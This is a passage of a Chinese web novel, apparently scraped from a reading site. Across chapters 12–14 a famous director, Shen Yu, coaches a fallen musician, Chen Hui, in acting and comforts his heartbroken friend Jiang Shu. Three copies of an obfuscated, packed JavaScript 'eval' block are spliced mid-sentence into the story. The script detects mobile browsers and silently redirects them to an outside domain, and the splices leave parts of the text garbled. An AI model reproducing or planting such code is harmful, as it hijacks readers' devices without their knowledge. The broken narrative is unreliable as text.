后面一圈人都比不过那位,直到轮到丁奇。他的绕口令完成度也特别好,和那位男一候选人不相上下。对方甚至转过头,朝着丁奇比了个“ok”的手势,陈晖还觉得人家怪客气的,小声说着:“他好有礼貌,我还以为童星跟我们多少有点距离感。” “啊?什么童星?”这话给丁奇说愣了,满脸茫然,“他是我舍友。” “啊?”陈晖也傻眼了。 丁奇这才反应过来:“你脸盲吗?那位童星今天没来,估计是有行程吧。今天男女主的候选人,总共就来了三个,我舍友是唯一来上课的男主候选。” 陈晖更是困惑不已:“都不来吗?” “不知道。”丁奇摇摇头,陈晖就没有多问。 绕口令很快就结束了。 下面的《雷雨》节选,可以自由组队,也可以找老师。话音刚落,那位男一候选人就被围住了,不少人向他抛出橄榄枝。丁奇这边也不少,陈晖略显尴尬,抬头张望了两眼,被老师逮了个正着。 “是打算和我对台词?”老师推了推眼镜,开了个玩笑,陈晖很心虚,很没底,可一想,他才认识丁奇几天,总不能老麻烦人家,就点了点头:“可以吗,老师?” “可以啊。”对方爽快地答应了。 陈晖想起上次面试,他那稀烂的表演把人沈导都演无语了,心里就直打鼓。 “没事的没事的。”陈晖一边给自己打气,一边照着那台词本,努力地揣摩、背诵着。 但结果并不好。 临阵磨枪哪比得过人家数年苦修? 失败是必然的。 区别只在,这回老师轻轻拍了拍他的肩膀,安慰他再接再厉。陈晖也只好苦笑着说道:“麻烦您了。” 下了课,所有人各奔东西。丁奇这会儿正在放暑假,没什么事儿,就想约人去打篮球,问陈晖去不去,对方犹豫了一下,说晚点还有事,推掉了。 “好吧。”丁奇没有多想,挥挥手,就潇洒地离开了。 陈晖最后一个走出练习室,去等电梯。 第一天上课就受到了不小的冲击,下次一定要把面子挣回来。 陈晖握拳,像以前上台那样给自己打气。 然后撞见了沈愚。 陈晖:“……” 时间能不能倒回啊,丁奇,我愿意和你一起去打篮球。 他僵硬地松开右手,打了个招呼:“沈导好。” 沈愚明显也很意外,只不过他在意外,今天的课程结束得那么早。 “下午没有课吗?”他问。 “没有,今天就是来摸个底,老师发了点资料,让我们自己回去研究研究。”陈晖越紧张,话越多,一股脑把今天的安排都倒了出来,可说完就有点后悔,有种作业没写好,被教导主任抓住的窘迫感。 沈愚注视着他,大概也猜得到今天并不顺利,安慰着:“今天只是摸底,以后的训练再努力就是了。” 陈晖听了,一个劲儿地点头。 沈愚忽然也没话说了,他发现除了工作,不知道该聊什么话题, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“那两点吧。”陈晖笑着,眉眼弯弯,“我请您吃饭,沈导。” 12. 第 12 章 两个人稀里糊涂就一起去了家小饭馆吃饭。 虽然沈愚低调,但样貌、身高摆在那里,陈晖可不敢在公司附近吃,只能带他坐上公交车,去了自己比较熟悉的地界——也就是自己家小区门口。 那家店门面不大,但味道不错,陈晖有时候下班晚,就会带从这儿一份炒菜回家,糊弄一顿。 但愿大导演也能喜欢。 陈晖不了解沈愚,可对方给他的第一印象挺好的,和蔼可亲,就是偶尔有点让人摸不着头脑。 不过这些都不重要了。 他扫了码,将手机递过去,让沈愚点单。 “哪个比较好吃?”沈愚问着,手指也只是轻轻点在屏幕上,没有划动。 陈晖想了想,说道:“酸菜鱼挺好吃的,桂花糖藕也不错,还有就是,鲍汁焗粉芋。” “好。”沈愚点点头,就都下了单,顺便再点了份炒饭和一扎果汁,“不够再加,你觉得呢?” “嗯。”陈晖点点头,沈愚就将手机还给他,没有再说话。 这个时候正是饭点,店里还算热闹,不少人在谈天说地,对比之下,他们这一桌有种格格不入的沉闷感。可陈晖绞尽脑汁也想不到自己和大导演有什么共同语言。据他观察和一大部分道听途说,沈愚不仅低调,还颇有些神秘,情绪不外露,也不怎么和其他人打交道,基本上没人知道他私底下是怎么个样子,喜欢什么,不喜欢什么,谁都给不了一个准确答案。 陈晖偷偷打量了他几眼,沈愚微微低着头,眼睫自然而然地弯下一个弧度,衬得那鼻梁更为挺拔,再往下,那红润的唇轻轻抿着,像夏天的樱桃一样…… 健康。 陈晖根本不敢细想,再想下去怕自己产生不得了的幻觉,就掏出手机,装模作样地玩起了消消乐。 沈愚无所事事,就在手机云盘里找一些实用的资料。集训的老师他基本都认识,也都了解他们授课的风格。今天早上,陈晖该见识的,应该都见识过了。 不知道实力的差距有没有打击到他。 沈愚抬眸,光速扫了眼陈晖,看见对方正没心没肺地咧着个嘴在那边玩消消乐,就放下心来,将自己认为合适的资料通通打包压缩,准备晚上发给这人。 当然,他要争取加上这人的联系方式。 陈晖也许是出于某种原因,将所有的能通过手机号码搜索到的社交软件都设了权限,导致他除了询问本人,无法自作主张。 这个原因,沈愚大概也能猜到些。 太阳底下无新事。 沈愚正想着,服务员就上了菜,陈晖笑笑:“谢谢。” “不客气,请慢用。”服务员将小票夹在桌侧的票夹上,就忙去了。 “尝尝。”陈晖给沈愚夹了一块鲍汁焗粉芋,“又脆又软又香。” “嗯。”沈愚很高兴,但又不得不收敛些,眉梢悄悄上扬,整个人看上去神采奕奕的,有种清爽愉悦的美。 陈晖立马埋下头去吃饭。 他还是想不明白,沈愚这外形条件,为什么不自己去拍戏,而且,据说他和公司老总关系很不错,他要是出道,得被捧在头顶吧?说不定老总都得看他脸色行事。 陈晖乱七八糟地想着,就收到了经纪人的消息。 朱嘉意:“小晖,今天集训怎么样?” “还行吧。” 陈晖嘴里的“还行”,就是没有意外发生,意料之中的失败也算在其中。 “那挺好。”朱嘉意了解他,没有再继续探讨这些,只告诉他,后天有个综艺,请他去当串场嘉宾。 “我费了好大力气才帮你弄到的名额。” 陈晖不用想,都知道屏幕对面的朱嘉意是怎么个眉飞色舞的表情。 “五分钟,一首歌的时间,后天早上九点,我去你家接你。” “好,谢谢嘉哥。”陈晖十分感激,朱嘉意又问他今明两天什么安排,如果没事儿的话,自己就帮他挑个曲目,给人节目组送过去。 不过大概率是不会有人在意的。串场嘉宾只需要给点气氛就好,其他的也不重要,甚至可能会临时换人。但现在,好歹是一次难得的机会,陈晖也好久没正儿八经开嗓了,就认认真真和朱嘉意商量起来。 “下午你练台词吗?要不要我去陪练?” 朱嘉意算得上一个称职的经纪人。他人不赖,可惜能力一般,再加上时运不济,带过的艺人怎么都红不了,有几个甚至都退圈了。人脉和资源都不行,时间一久,也是在公司坐冷板凳的命。这回上面安排他带陈晖,哥俩也是惨得旗鼓相当。 好在陈晖比以往带过的几个艺人,性格能力都要好,朱嘉意多多少少是真心实意希望他能翻身的。 “不用不用,谢谢嘉哥,下午沈导说要陪我练。”陈晖正吃着饭呢,脑子顾不上转,就实话实说了,等他看见满屏问号时,才反应过来自己好像说漏了嘴。 “沈导?沈愚?”朱嘉意吓了一大跳,陈晖艰难地咽下一口米饭,硬着头皮发了个“嗯”字。 对面久久没有回复。 陈晖心虚地瞄了眼沈愚,对方正专心地吃着饭,并没有看他。陈晖又把头埋下去,看见朱嘉意问他:“沈导,给你做陪练?他,他,他没事吧?” 陈晖:“……目前看上去还好。” “目前?什么目前?我靠你俩现在在一块儿?” “昂。” 朱嘉意差点把手机砸脸上,忙不迭问着:“沈导怎么会给你做陪练?他图什么?你们集训是有专门的老师的吧?你们现在又在干嘛啊?” “在吃饭。”陈晖也不知道该从哪里说起,一下蔫巴了,“我今天出了电梯,刚好遇见沈导,就聊了几句,然后他就说要陪我练习,再然后就,出来吃饭了。” 朱嘉意:“……” 陈晖:“。。。” “你走狗屎运了?” 陈晖哭笑不得:“可能吧。” 朱嘉意想了半天,还是不放心:“沈导不会想潜规则你吧?” 陈晖:“……嘉哥这话可不能乱说。” “可是除了他想潜规则你,我找不到第二个理由来解释这个现象,简直匪夷所思。” 朱嘉意想不明白,这圈子,他少说也摸爬滚打十年了,什么样的林子鸟儿没见过?你要说沈愚一个不图,单纯发善心陪这个台词都说不清楚的门外汉练习,他是一个标点符号都不会相信。 陈晖有点后悔,他想,也许他不应该告诉朱嘉意这件事。 “沈导挺好的,不是那种人。” “知人知面不知心,你可要小心点。” 陈晖:“……要潜规则,那也得找个年轻漂亮的吧。” “你不漂亮吗?我觉得你挺好看的啊。” 陈晖:“……人家应该不好这口吧?” 朱嘉意沉默了。他也不是有意要打探别人的隐私,但这件事怎么想怎么古怪,万般无奈之下,他只好叮嘱陈晖小心些,一定要时刻和自己保持联系。 陈晖心里面直嘀咕,沈导这斯文样,真有什么想法的话,也不好实施啊。可他又不想再和朱嘉意掰扯,就同意了。 好好的一顿饭,现在也有点食不知味。 陈晖结了账,沈愚问他下午去哪儿练习,他就卡壳了,大脑里迅速闪过几个常去的地方,但无一例外,都不太合适。 总不能大中午的去江边吧?那不得直接热到融化? 陈晖看着沈愚那张人畜无害的脸,最终还是将朱嘉意的叮嘱抛之脑后。 “去我家吧,先休息会儿,两点再开始。” 陈晖发出了邀请,沈愚微微颔首:“好。” 陈晖恍惚间以为他眼神发亮,鲜活灵动,但再转身,又似乎与平常并无二致。 陈晖感觉自己是吃饱了犯困,就没多想,带着人回了自己家。 脑子不清醒就是这样的。 陈晖找出一双备用拖鞋,他家里其实没人来,但出于一种礼节,他还是会准备好一些东西,以便不时之需。 “沈导,你先坐,我去给你泡点茶。” “不用,我不喝茶,谢谢。” “那咖啡?” “也不喝咖啡。” 陈晖有点意外:“那喝点热水?” “喝热水好热啊。” 陈晖:“?” 怎么感觉沈导像个会偷吃零食的小学生? 陈晖索性打开冰箱,拿出一瓶冰镇的蓝莓果汁,晃了晃,沈愚点点头:“谢谢你。” 糟糕,这种即视感越来越强烈了,怪不得他会顺走我那一大包吃的。 陈晖从茶几下面的抽屉里端出来一个超大九宫格果盘,不过里面放的不是水果,而是他前两天没事,直播间抢的一些便宜又好吃的零食。 沈愚一愣,陈晖笑笑:“别客气,吃吧。” “呃,好的。”沈愚心情微妙。 他不喝茶,也不喝咖啡的原因是他喝了容易失眠,一晚上睡不着会让他心悸,影响工作。不喝热水是因为大太阳底下走了一路,真的太热了。 可现在好像,被陈晖误会了什么。 他并不爱吃零食。 沈愚看着茶几上那五花八门的包装袋,选择了一个葡萄梅子,拆开来放到嘴里。 陈晖也坐到沙发上,歪着身子靠在里面,有点茫然。 接下来该干嘛? 想睡觉,有点困。但是有客人在,又不能睡。 陈晖打了个呵欠,挠了挠后脑勺,随手一摸,就摸到了抱枕下边的遥控器。 “看会儿电视?”他已经开始意识模糊了。 “嗯。”沈愚应着,陈晖就按下了遥控器,画面一晃,好像是在播当下正红的一部古偶。 陈晖看着镜头里的男女主,总觉得有点眼熟,但一时半会儿,大脑似乎停止了运作,慢慢地,他眼睛一闭,就睡过去了。 沈愚认识那两个主角。 这次他们都有报名自己的项目,但男主一听要集训,就不来了,女主就是那个在自我介绍环节,说自己上了三个月礼仪课的那个。 抛开服道化等诸多因素,女主的演技相对来说是过关的,唯一的问题在于,她对角色的理解有些浮于表面,乍看之下,没有太大的瑕疵,但经不起仔细推敲。真要上纲上线的话,她还有很多提升空间。 沈愚喝了一口蓝莓果汁,酸甜爽口,确实蛮好喝的。他转过头,本想和陈晖聊聊演技的事情,结果一看,对方早抱着个枕头睡着了。 沈愚看得有点出神。 他对陈晖的记忆仅限于舞台上。 那个活力四射的抱着吉他的青年,像永远不会落下山的太阳,照亮了他一整个晦暗的28岁。 沈愚甚至想不出他睡觉的时候,是什么模样。 但现在陈晖就安静地睡在一边,半个身子蜷曲着,右手还抓着遥控器,悬在沙发外。头发有点乱,半张脸埋在枕头下,深深地沉浸在梦中。 太阳总是会下山的,这是亘古不变的真理。 沈愚沉默片刻,悄悄打开手机,拍了张陈晖的照片。 他现在就像一个等待太阳升起的人,等一个有陈晖在的天明。 沈愚将陈晖的照片设置成了微信背景图。 然后他又看见了江恕那欠揍的头像。 “想杀人。” 沈愚:“又怎么了,大少爷?” “我能现在雇你去暗杀梁彬吗?” “恐怕不行。” “他不死,就是你跟我一起死。” 沈愚:“……” 江恕没有再回消息,估计是一个人消气去了。沈愚无奈,靠在沙发上继续看电视。 时间走得有点慢,他甚至有空观察了一圈陈晖的家。 这里应该是陈晖租的房子,家具不多,也比较老旧,但很整洁,摆放也很有条理。墙面似乎才粉刷不久,遮去了从前租客留下的痕迹,光洁如新。阳台上还养了一盆绿萝,正是郁郁葱葱的时候,日光一照,鲜活可爱。 沈愚忽然也很想睡会儿。 就在这样一个阳光灿烂的午后,在这样一个小小的温馨的房子里。 他又梦见了那年夏天,热浪滚滚的城市里,躁动的欢呼雀跃的人群。 “晚上好,大明星。” 沈愚藏在这茫茫人海,对着舞台轻声呢喃着。 陈晖猛地坐起身,我靠,我睡了多久? 他揉揉眼睛,一看,发现沈愚也睡着了。再看手机,下午两点半。 说好两点开始训练,结果他先睡过去了。 陈晖拍拍自己的脸,沈愚本来睡得就不沉,听见动静就悠悠转醒,回头一看,陈晖早睡得头发起立,一边脸上全是印子。他忍俊不禁,陈晖忙跳下沙发:“我去洗把脸啊!” 沈愚也伸了个懒腰,起身走了走,活动了几下,又在陈晖出来前,重新坐下。 “呃,抱歉,我不是故意睡过去的。”陈晖很不好意思,囫囵解释了两句,就将台词本从包里掏了出来。 他一顿,看了一眼沈愚,更难为情了:“沈导,那个,那个,我的资料没有纸质版,能不能,加你个微信?我把压缩包发你,然后,我们,照着那个练习吧。” 他支吾着,心里祈祷着对方可别误会他是故意骚扰。 “好。”沈愚答应了。 陈晖并不知道,沈愚求之不得。 “我扫你。” 他甚至觉得是自己占了人家大便宜,加好友的时候,手指都有点颤抖。 沈愚面上看着镇定,心里面其实早炸开了花。 不过他看到陈晖发过来的那些资料时,就笑不出来了:“你这是A大的教材吧?” “对。我一个朋友发我的。”陈晖心想,不愧是大导演,这都能看出来。 沈愚挑了几本基础课,然后说着:“这几本教材,我明天给你带纸质版,给你划重点,你照着学就好。其他的,对你来说,不合适。不是说你不行,而是要在短短几个月掌握,很不切实际。你自己在家的时候,只要练习基本功就好,其他的我会用我的方式教你。” “啊?”陈晖挠头,沈愚不解:“有什么问题吗?” “明,明天还,还训练啊?”陈晖以为沈愚今天只是一时兴起,结果他是做了长期准备? 沈愚也被问住了,他理所当然地认为自己要对陈晖负责到底,却没有想过,他要给出一个让人信服的理由。 “你不愿意吗?” 没有办法回答的问题,就原地打回去。 这是沈愚从江恕身上学到的一个办法。 尽管在以前,他认为这个办法很卑劣。 “这个,” 陈晖能说不愿意吗?他说不愿意,不就是在打沈愚的脸?可这件事从头到尾就是很奇怪啊—— “沈导愿意教我,我当然很愿意了,就是,我不理解。”陈晖憋不住,还是问出了内心的疑虑,“为什么您要教我呢?我既不是男一男二,也没有一星半点的演艺基础,您教我,图什么呢?” 沈愚默然,不知道该怎么回答。 如实回答,他会相信吗?会不会被吓一跳?可不说实话,又有什么理由呢? 沈愚想了半天,最终还是告诉他:“我以前去过几次音乐节。” 陈晖对“音乐节”这三个字过敏,顿时就应激了:“等等,你不会看过我的演出吧?” “嗯。” “你,你是我的粉丝?” 陈晖一脸的不可思议,他想,知名大导演,还是平常只能电视上看到的大人物,居然是他的粉丝?怎么看都像是天方夜谭! “呃,是的。”沈愚也不能说不是,索性就承认了。 陈晖差点昏过去。 他想,天降横财也不过如此。 沈愚看着他呆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705250|173521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若木鸡的样子,不由地莞尔:“很难接受吗?” “没有没有。”陈晖连连摇头,“就是很惊讶。” 他左顾右盼:“不好意思啊,现在吧,我就是比较,嗯……” “没关系,谁都有低谷的时候,人生大起大落,能坚持下去就是一种胜利了。” 沈愚还是那轻柔的语调,听得陈晖感动不已:“居然还有人喜欢我的音乐,真是太好了!虽然我现在暂时做不了音乐了,但等我稳定下来,一定会继续创作的!” 沈愚一愣,陈晖笑起来的时候,整个人就像在发光,极具感染力。 他就像一颗从高高的舞台上坠落的星星,即使泯于众人,即使满身尘土,可还是会在无声的夜里,悄悄地,独自璀璨。 沈愚也跟着笑起来:“好,我相信你一定行。” “嘿嘿。” 陈晖受到鼓舞,一下就有了干劲。 沈愚就陪他练了会儿基本功,包括声韵、发声,还有一部分台词重音。前面两个,沈愚只告诉他要多加练习,这些是走不了捷径的,吐字的清晰与否是做演员的门槛,是及格线,而不是择优线。 “重音的话,更多的就是需要你自己揣摩了。” 沈愚拿今天的《雷雨》片段举例:“比如说这句,鲁贵对女儿说,好,好,好,没有,没有。反正你这两年不是存点钱么?你要怎么念呢?” 陈晖傻了眼,他试着念了几遍,自己都感觉不太对,沈愚听了下,和他说:“鲁贵是个趋炎附势,视钱如命的赌徒,对儿女妻子都非常冷漠,他与四凤这段对话,发生在第一幕,他在试探四凤究竟得了多少钱。” 沈愚停了下来,突然问他:“你人物小传会写吗?” 陈晖摇摇头。 “那我先教你写人物小传,就写鲁贵。” 陈晖琢磨着:“这好像上学的时候做阅读理解啊。” “演员也需要文学素养的,不能深入理解角色的话,任何表演都会流于形式。尤其是这样的经典剧目,会被反复提及,不断翻拍,不同的演员在镜头前的表现都会被拿来比较、批判。观众不是傻子,他们对优劣好坏有最基本的评判标准。” 沈愚说着说着,顿了顿,鼓励他先试一试,而后起身,去阳台接了个电话。 陈晖找到纸笔,老老实实写了起来。 “喂。”沈愚接通电话,江恕那边沉默了很久。 沈愚回头看了眼,确定阳台的推拉门已经关好,就又问了一遍:“喂?江恕?” 那头还是没声。 沈愚把手机拿远了些,又确认了一下信号是好的,才又贴在了耳边,耐心问着:“你怎么了?和天星谈崩了?” “谈崩倒是没有谈崩,”江恕明显深吸了一口气,“梁彬松口了,演员选拔的时候,进行公司内部投票,七比三,我们七。” “嗯,好的。”沈愚对此没有意见。 可江恕没有挂电话,好像还有话没说完。 “你不高兴吗?”沈愚有些奇怪。 “没有不高兴。”江恕说完,又是好长一阵沉默。 沈愚注视着陈晖养的绿萝,葱郁的叶子上,纹路清晰可见,像一条条血管,慢慢汇入了心脏。 “我就是烦,沈愚,烦得想死。” “嗯。” “嗯你妈个头!你他妈就不能说点好话啊?”江恕终于大发雷霆,可骂了两句,他就又像泄了气似的,不愿意再出声了。 沈愚等了半天,江恕既没有要挂断电话,也没有要再发火的意思,就问:“你晚上要去喝酒吗?” “不喝。” “那你要去做什么呢?” 沈愚知道江恕不顺心的时候,喜欢喝酒,虽然他很不赞同这个做法,但看在对方那么伤心的份上,也只能睁一只眼闭一只眼。不过江恕的人生称得上顺风顺水,这种酩酊大醉的次数也少,沈愚就更没有理由唠叨个没完。 但今天就很反常。 江恕就像伤心到了某个极点,反而没有力气折腾身边的亲朋好友了。 沈愚不了解梁彬,自然也就不知道他给江恕带来了多么不可磨灭的过往。 沈愚能做的,就是不挂断电话。一个字,等。 过了好久,江恕才肯吐出一句话:“我准备雇人去暗杀梁彬。” 沈愚:“……” “你晚上有空吗?我们先去喝点酒,壮壮胆,然后再干票大的。” 沈愚:“……” “说话啊?哑巴了?”江恕的怒气值又开始蹭蹭蹭往上涨,沈愚无奈,回答道:“那你等会儿,我先去找个麻袋。” “嗯,这还差不多。”江恕态度软了下来,和沈愚说了一大通梁彬的坏话,说那人矫情,不给面子,又说那人老摆着张臭脸,好像自己欠了他几个亿一样。 沈愚仔细回忆了下梁彬的模样,觉得对方也没江恕说得那么不堪。 可能是前任留下的伤害太大了吧。 沈愚认为情有可原,就接受了江恕的这一堆苦水。 某人喋喋不休嚷了半天,这才想起来问道:“沈愚,你今天去集训,有收获没有?” “有。” 和陈晖加上了微信,这就是最大的收获。 而且明天还能再见面。 沈愚眉梢上扬,很是高兴。但显然,在刚被前任伤害的朋友面前表现出来,是不礼貌的,所以他选择不说。 “哦。”江恕也没细问,“赵苇航怎么样?” 沈愚没想到他还记着这个人,而自己根本没注意。 “我去的时候,他们已经散了。” 沈愚没有隐瞒。 “啊?那你这大半天在干嘛?在家躺着?” “嗯,在家躺着,本来准备晚点去江边散步的。” “你别天天散步了,七老八十的大爷都没你散得勤快。” “所以是本来啊。”沈愚笑笑,“今晚不是要准备好麻袋,替你出气吗?” 江恕又不说话了,沈愚也猜不到他是哪根筋没转过来,就听对方说道:“算了,我决定把雇人暗杀的钱省下来,请你吃饭,六点钟,我去你家接你,就这样啊,挂了。” 一阵盲音。 沈愚怔了怔,一想,完了,江恕说六点,可能五点半就到他家了。他揉揉眉心,给情绪上头的某人发了条消息:“直接吃饭的地方集合吧,不用来接我。” “也成,我马上地址发你。” “好。” 沈愚收了手机,重新回了客厅。 陈晖还在冥思苦想,写他的人物小传。沈愚默默走过去,站在他背后瞄了眼,发现陈晖写的东西竟然还有模有样,也将鲁贵这个角色的主要性格特征写了出来,但是发散得太过,有些都写偏了,反而更像是在自己创作。 陈晖察觉到有人在看他,一抬头,就和沈愚的视线撞了个正着。 他问:“怎么样?” “还不错。但是呢,理解角色,不是创造角色,不要脱离剧本,超出范围地自我发挥,这样子,容易用力过猛。”沈愚好心提醒着,将那张人物小传收了过来,“晚上我回家给你改,明天带过来给你。” “哦,好。” 陈晖今天学了蛮多,但一摸脑袋,回想起来,有种消化不良的感觉。他乖巧地道了声谢,就说:“那我明天在哪里等你呢?” 沈愚也被问到了。 集训的安排,大致上分为两部分,一部分是在公司上基础课,另一部分就是在影视基地实训。 肯定不能在公司堂而皇之地碰面。 陈晖先反应过来:“明天还是早上集训,我就下午在家等你。” 这话本来没什么,可沈愚听了,心里就有了些不同寻常的感触。 陈晖,在家,等他。 沈愚点点头:“好。” 陈晖又开始恍惚了,他又觉得沈愚眼神在发光。 13. 第 13 章 晚上七点多,沈愚踏进了江恕的家门。 虽然不知道对方临时改变吃饭地点的原因是什么,但以他对江某人的了解,准没好事。 果不其然,他刚上到二楼,就看见穿着睡衣,顶着一头凌乱头发的江恕,像个幽怨的野鬼一样盯着自己。 沈愚:“……” 江恕:“……” 面面相觑,不发一言。 半晌,沈愚才问:“你,给我发完消息就睡觉了?” “不,是睡觉的中途给你发了消息。” 江恕一脸萎靡,像是被榨干了水分的海绵,十分干瘪,沈愚打开手机,确认了一下,他最后一次给自己发消息是下午四点半,距离现在不过三个小时。 怎么感觉有三个世纪那么漫长?人都快成风干的僵尸了。 沈愚将手机揣回兜里,江恕呆呆地转了一下眼珠,招招手:“你先坐,我去洗把脸。” “你,”沈愚欲言又止,但江恕跟没听见似的,转身回房去了。 沈愚就下楼,坐在他们家会客厅,江恕家里的保姆吴妈给他倒了点新鲜的橙汁,沈愚则表示想喝点热水,并顺道问起了江恕的情况。 “少爷从公司回来就上楼了,说要等你来一起吃晚饭,让我们都不要打扰他。”吴妈从江恕小时候开始就在江家照顾他,所以一直叫他少爷,沈愚有些奇怪:“他本来约我出去吃的,我都到那儿了,结果他又和我说,不出去吃了,来家里吃。” “来家里吃啊?那我还不知道呢,我赶紧去准备准备。”吴妈一听就要去忙了,沈愚说着:“等等吧,我过会儿再去问问他,说不定他收拾完出来,又想出门了。” 吴妈听了,有点想叹气,说着江恕这两天似乎心情不好,一回家就待在房里,平常这个点,他没应酬的话,都会带年糕出去遛弯,这两天都不带了。 年糕是江恕养的一只萨摩耶,江恕拿它当儿子。偶尔沈愚过来,看到父子俩在玩,江恕就会让年糕朝沈愚叫唤两声,美其名曰,这就是在叫他叔叔。 沈愚这么一想,江恕这两天确实很反常,就安慰吴妈说,他会看着办的,让对方不要担心。 吴妈应了一声,就先去忙别的了。 没多久,江恕从楼上下来,又是人模狗样了,但上眼皮还是耷拉着,没什么精神。他往沙发上一躺,脚踩在靠枕上,问着:“你麻袋呢?” “落出租车里了。” 江恕嘴一撇:“那今晚是干不成了。” “所以今晚吃什么?” “不知道。”江恕回答得有气无力,半死不活。 沈愚看了看他,终于忍不住问道:“你这么喜欢梁彬啊?” “废话,那可是我初恋,是我的白月光。”江恕嘀嘀咕咕着,像是在埋怨,“你要是被你初恋甩,你不难过啊?” 沈愚:“……你对象换了一个又一个的时候,也这么想?” “我靠!”江恕立马从沙发上弹了起来,一脚把那靠枕踢了过去,“你脑子有病是不是?非得这么埋汰我?我就不信他梁彬身边没换几个人!” 沈愚不说话,他觉得和现在的江恕没多少好谈的,只能等对方自个儿清醒过来。江恕像是一拳打在了棉花上,一肚子的火都撒不出去,他宁可沈愚和自己吵架打架,也不想这人半天放不出一个响屁来。 江恕皱着眉头,将那靠枕捞了回来,还不忘奚落两句:“沈愚,你是和尚吗?这么无欲无求,你不如直接出家吧?” “也可以。” 江恕:“……” 沈愚又一次打开手机,给小刘发消息:“小刘,你能不能帮我要到天星传媒,梁彬总监的联系方式?” 小刘暂时没回,应该还在忙自己的事。 江恕闷了一会儿,说着:“我跟梁彬是大学同学。” “嗯。”沈愚点点头,表示自己在听。 “我当时特别特别喜欢他,但我爸不同意,我就跟他说,要不咱们私奔吧?去一个谁都不认识我们的地方,重新生活。” 沈愚:“……” 好尴尬,即使他已经见证过无数次这种,令他无语的事情了,但这一次,尴尬得想立刻逃走。 沈愚双手按在膝盖上,强忍了半天,才没有当场起身。 江恕哪会不知道他在想什么,但话都说出去了,也不好收回来,就垮着张脸,继续道:“你什么表情啊?我年轻的时候脑子进水了行不行?” 沈愚不知道该怎么接话,想了半天,问道:“然后呢?你们,私奔失败了?” “他没来。” 沈愚:“……” 好狗血。 怎么办啊?太狗血了。 沈愚听得两只眼睛都直了:“所以你就,就迈不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705251|173521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去这道坎儿?” “那当然了。”江恕很不高兴,“跟你这种木头脑袋也说不通,白痴一样。” 沈愚不和他争辩,头一低,就看见小刘回了消息:“这个倒没有,你需要吗,沈哥?你要是需要的话,我明天帮你问问。” “帮我问问吧,麻烦你了。” “这有什么麻烦的?顺嘴的事儿,明天我问到了发你。” “谢谢啦。” 沈愚发完消息,抬头就看见江恕一脸阴郁地盯着自己:“怎么,背后骂我呢?” “找人帮我要梁彬的联系方式。” 江恕头发都要立起来了:“你要干嘛?” “你这两天魂不守舍的,我得替你从源头解决问题。”沈愚说得恳切,江恕只觉浑身发毛:“你要是敢把我今天的话捅出去,你就等死吧!” “哦。”沈愚一点都不担心。 江恕瞪了他一眼,从沙发上下来:“吃饭了。” “去外面?” “在我家。”江恕一转身,撂下一句狠话,“给你下毒,吃死你。” “哦。”沈愚并不想和人胡搅蛮缠。 江恕又嘟囔了两句,虽然听不清,但大概都是些泄愤的玩意儿。 沈愚轻轻叹了一声,想起来他还没把资料传给陈晖,就在等饭的间隙把东西发了过去。 陈晖还在调弦,看到消息就腾出一只手回了下。他看着沈愚那个蓝色星空的头像,犹豫了好久,说着:“沈导,后天我有个通告,学习的事情得向您请个假。” 陈晖本来觉得这件事不该告诉沈愚,但对方都说了要来,又不好意思让大导演走个空。等发完消息,陈晖才后知后觉地想起来,沈愚是说明天还来,又不是每天都来,这么一说就好像自己自作多情一样。他就把消息撤回了,结果就看见下边多了一行字:“通告是后天什么时候?” 陈晖的手一顿,老老实实回答着:“后天早上吧,我经纪人来接我,就是一个节目的串场嘉宾,去唱首歌。” “哪个节目?” 陈晖卡了一下,切出去又看了眼和朱嘉意的聊天记录,才回复沈愚:“新星实验室。” “嗯,好的,一切顺利。” “好,谢谢沈导。” 陈晖挺开心的,他觉得大导演真的脾气很好。 不过,沈愚有自己的想法。 14. 第 14 章 “江恕,新星实验室我记得也是你名下的一个项目吧?” 饭后,沈愚和江恕一人坐在一边的沙发上,有一搭没一搭地闲聊。但沈愚一贯是开门见山,直来直往,江恕眼皮子都没抬,抱着他的萨摩耶搓来搓去,看上去恹恹的,不太想搭理人。 “江恕?” “嗯,是,怎么了,大导演?”江恕终于从一团毛茸茸里面抬起头,满眼的倦怠和疲惫,沈愚犹豫了一下,还是如实说了:“我想去现场,你能不能带我?” “啊?”江恕反应了好一会儿,突然坐直身子,“我靠,你你你,你还是沈愚?” “……” 在江恕的眼里,沈愚是个相当安静低调的人,除了必要的活动,基本不会出现在大众视野里。一方面是他本身性格就很沉闷,不爱热闹,另一方面则是出道早期,他经常被造谣,有段时间甚至疯狂到只要是个人站在他身边,都会被打上绯闻对象的标签,各种蹭的装的蓄意抹黑的,层出不穷。江恕花了大价钱,才把这些乱七八糟的谣言压下去。但后来沈愚就是愈发沉闷,江恕以为他都要抑郁了,结果对方只是说了句没事,这两三年下来,情绪也很稳定,事业也蒸蒸日上,江恕这才放下心。 不过—— 